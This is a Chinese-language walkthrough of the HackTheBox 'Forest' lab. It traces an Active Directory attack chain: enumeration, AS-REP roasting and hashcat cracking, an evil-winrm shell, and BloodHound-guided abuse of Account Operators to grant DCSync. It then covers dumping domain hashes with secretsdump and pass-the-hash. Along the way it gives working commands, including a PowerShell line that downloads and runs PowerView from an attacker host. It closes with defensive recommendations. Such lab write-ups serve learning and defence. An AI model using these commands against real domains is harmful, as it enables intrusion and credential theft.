域渗透实战之Forest
字数 1329 2025-08-24 07:48:23
域渗透实战之Forest:从信息收集到DCSync攻击
1. 信息收集阶段
1.1 端口扫描与识别
使用nmap进行初始扫描:
nmap -p- 目标IP
nmap -sV -p 目标端口 目标IP
关键发现:
- 5985端口开放(WinRM服务)
- 445端口开放(SMB服务)
- 53端口开放(DNS服务)
1.2 SMB枚举
使用smbclient进行匿名枚举:
smbclient -L //目标IP -N
1.3 RPC用户枚举
使用空会话枚举用户:
rpcclient -U "" 目标IP -N
常用命令:
enumdomusers
enumdomgroups
querygroup 0x200
queryusergroups 0x用户RID
1.4 Kerberos预认证检查
检查哪些用户没有启用Kerberos预认证:
GetNPUsers.py htb.local/ -no-pass -usersfile users.txt
2. AS-REP Roasting攻击
2.1 识别易受攻击用户
发现svc-alfresco用户没有启用Kerberos预认证
2.2 获取AS-REP哈希
GetNPUsers.py htb.local/svc-alfresco -no-pass -dc-ip 目标IP
2.3 破解哈希
使用hashcat破解:
hashcat -m 18200 hash.txt rockyou.txt
3. 初始访问
3.1 通过WinRM获取shell
使用破解的凭据连接WinRM:
evil-winrm -i 目标IP -u svc-alfresco -p 密码
4. 权限提升路径
4.1 使用BloodHound分析
发现关键权限链:
- svc-alfresco是"Account Operators"组成员
- "Account Operators"对"Exchange Windows Permissions"有GenericAll权限
- "Exchange Windows Permissions"对域有WriteDACL权限
4.2 手动枚举验证
net user /domain
net group /domain
net user svc-alfresco /domain
5. 权限提升实施
5.1 上传PowerView.ps1
IEX(New-Object Net.WebClient).DownloadString('http://攻击机/PowerView.ps1')
5.2 确认组成员关系
Get-DomainGroup -MemberIdentity 'svc-alfresco' | select samaccountname
5.3 创建新用户并添加到特权组
net user /add testz1 testz1@qq.com /domain
net group "Exchange Windows Permissions" testz1 /add /domain
net group "Remote Management Users" testz1 /add /domain
5.4 授予DCSync权限
$SecPassword = ConvertTo-SecureString 'testz1@qq.com' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('HTB.local\testz1', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity testz1 -Rights DCSync
6. DCSync攻击
6.1 使用secretsdump.py转储哈希
secretsdump.py htb.local/testz1:testz1@qq.com@目标IP
6.2 哈希传递攻击
使用管理员哈希进行横向移动:
evil-winrm -i 目标IP -u Administrator -H 管理员NTLM哈希
7. 技术原理详解
7.1 DCSync攻击原理
DCSync通过模拟域控制器,使用DRS服务的GetNCChanges接口请求数据同步。攻击者需要具备以下任一权限:
- Administrators组成员
- Domain Admins组成员
- Enterprise Admins组成员
- 域控制器的计算机帐户
7.2 DCShadow攻击原理(补充)
虽然本案例未使用,但相关技术要点:
- 在AD中注册伪造的DC(创建NTDS-DSA对象)
- 使伪造DC被其他DC认可
- 触发域复制将恶意数据同步到其他DC
8. 防御建议
- 禁用不必要的老旧协议:如SMBv1、LLMNR等
- 启用所有用户的Kerberos预认证
- 限制敏感组的成员资格:特别是"Account Operators"、"Exchange Windows Permissions"等
- 监控DCSync活动:设置警报检测异常DCSync请求
- 实施最小权限原则:避免过度授权
- 定期审计ACL:检查域对象上的异常权限
9. 总结
本案例展示了从初始信息收集到完全域控的完整攻击链,关键点包括:
- 通过AS-REP Roasting获取初始凭据
- 利用BloodHound识别权限链
- 滥用Account Operators权限添加用户到特权组
- 通过WriteDACL权限授予DCSync权限
- 最终通过DCSync获取域控哈希
这种攻击方式在具有复杂信任关系的多域环境中尤为有效,强调了在域环境中严格权限管理和持续监控的重要性。